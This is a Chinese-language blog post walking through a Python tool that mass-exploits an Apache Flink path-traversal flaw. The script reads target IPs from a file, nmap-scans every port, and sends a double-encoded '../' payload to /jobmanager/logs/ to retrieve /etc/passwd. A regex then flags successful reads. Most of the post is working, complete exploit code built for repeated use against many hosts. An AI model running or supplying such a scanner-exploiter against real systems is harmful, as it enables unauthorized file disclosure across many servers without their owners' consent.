从flink漏洞浅谈编写可重复批量利用工具

- 一. 前言

从标题就知道主要讨论的是“重复“，”批量“利用工具。一般爆出来的poc，只是单单对该漏洞单个检测，也有大佬会对其”升级”，求人不如求己。该文章主要是拿到爆出来的payload进行简单编写，并考虑常规问题并规避，之后批量重复了利用（其实内容很简单，代码很垃圾，大佬轻喷）

- 二. 思路

以上篇payload为例展开，思考问题有：

1.批量读取ip

2.Nmap全端口扫描1-65535（非默认的端口会造成漏测。）

3.urllib.request+payload探测

4.正则匹配回显

- 三. 实现

1.批量读取ip

```
def add_ip():
    # C:\Users\Administrator\Desktop\ip.txt
    with open(r"C:\Users\Administrator\Desktop\ip.txt", "r",encoding='utf-8') as file:
        for line in file.readlines():
            line=line.replace("\n", "")
            # 从txt中以换行分割写入list
            ip_list.append(line)
```

2.Nmap全端口扫描1-65535

将for循环出来的结果添加到list中

```python
def nmap_A_scan(network_prefix):
  nm = nmap.PortScanner()
  # 配置nmap扫描参数
  scan_raw_result = nm.scan(hosts=network_prefix, arguments=' -v -sS -p 1-65535')
#  -v -sS -p 1-65535
  # 分析扫描结果
  for host, result in scan_raw_result['scan'].items():
     print(host,result)
     idno = 1
     for port in result['tcp']:
        # print('-' * 17 + 'TCP服务器详细信息' + '[' + str(idno) + ']' + '-' * 17)
        idno += 1
        # print('TCP端口号: ' + str(port))
        port_list.append(str(port))
        # print('状态: ' + result['tcp'][port]['state'])
```

3.urllib.request+exp探测

```python
if __name__ == '__main__':
    add_ip()
    for i in ip_list:
        port = ''
        nmap_A_scan(i)
        ip_head = "http://"
        tar_ip = i
        for i_port in port_list:
            port = i_port
            payload = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..

            flink_ip = ip_head+tar_ip+":"+port+payload

            print("[+]"+tar_ip+':'+port)

            request = urllib.request.Request(url=flink_ip)
            try:
                response = urllib.request.urlopen(request,timeout=2)
                # timeout 2 second
                html = response.read().decode('utf-8')
                re_html=pattern.findall(html)
                if re_html:
                    print('[Find]'+flink_ip)
```

如上图所示，③为payload，4为urllib.request请求方法

4.正则匹配回显

```python
pattern=re.compile(
                r"((root|bin|daemon|sys|sync|games|man|mail|news|www-data|uucp|backup|list|proxy|gnats|nobody"
                r"|syslog|mysql"
                r"|bind|ftp|sshd|postfix):[\d\w\-\s,]+:\d+:\d+:[\w\-_\s,]*:[\w\-_\s,\/]*:[\w\-_,"
                r"\/]*[\r\n])")
```

上图为正则匹配

全代码如下

```
import nmap
import sys
from urllib.error import URLError
from urllib.request import ProxyHandler,build_opener
import urllib.request
import re

ip_list=[]
port_list=[]

def add_ip():
    # C:\Users\Administrator\Desktop\ip.txt
    with open(r"C:\Users\Administrator\Desktop\ip.txt", "r",encoding='utf-8') as file:
        for line in file.readlines():
            line=line.replace("\n", "")
            # 从txt中以换行分割写入list
            ip_list.append(line)

def nmap_A_scan(network_prefix):
 nm = nmap.PortScanner()
 # 配置nmap扫描参数
 scan_raw_result = nm.scan(hosts=network_prefix, arguments=' -v -sS -p 1-65535')
#  -v -sS -p 1-65535
 # 分析扫描结果
 for host, result in scan_raw_result['scan'].items():
    print(host,result)
    idno = 1
    for port in result['tcp']:
        # print('-' * 17 + 'TCP服务器详细信息' + '[' + str(idno) + ']' + '-' * 17)
        idno += 1
        # print('TCP端口号：' + str(port))
        port_list.append(str(port))
        # print('状态：' + result['tcp'][port]['state'])
pattern=re.compile(
                r"((root|bin|daemon|sys|sync|games|man|mail|news|www-
data|uucp|backup|list|proxy|gnats|nobody"
                r"|syslog|mysql"
                r"|bind|ftp|sshd|postfix):[\d\w\-\s,]+:\d+:\d+:[\w\-_\s,]*:[\w\-_\s,\/]*:
[\w\-_,"
                r"\/]*[\r\n])")


if __name__ == '__main__':
        add_ip()
        for i in ip_list:
            port = ''
            nmap_A_scan(i)
            ip_head = "http://"
            tar_ip = i
            for i_port in port_list:
```

```
                port = i_port
                payload =
r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f.
.%252f..%252fetc%252fpasswd"

                flink_ip = ip_head+tar_ip+":"+port+payload

                print("[+]"+tar_ip+':'+port)

                request = urllib.request.Request(url=flink_ip)
                try:
                    response = urllib.request.urlopen(request,timeout=2)
                    # timeout 2 second
                    html = response.read().decode('utf-8')
                    re_html=pattern.findall(html)
                    if re_html:
                        print('[Find]'+flink_ip)
                except:
                    # print("**")
                    pass
                else:
                    # print("*")
                    pass
```

- 四. 缺陷和其他选择

1.脚本能用，缺点很多，先挖个坑，后面完善。

2.其他选择，现在有很多集成的扫描工具，也不需要像我这样写，像goby这类都集成了。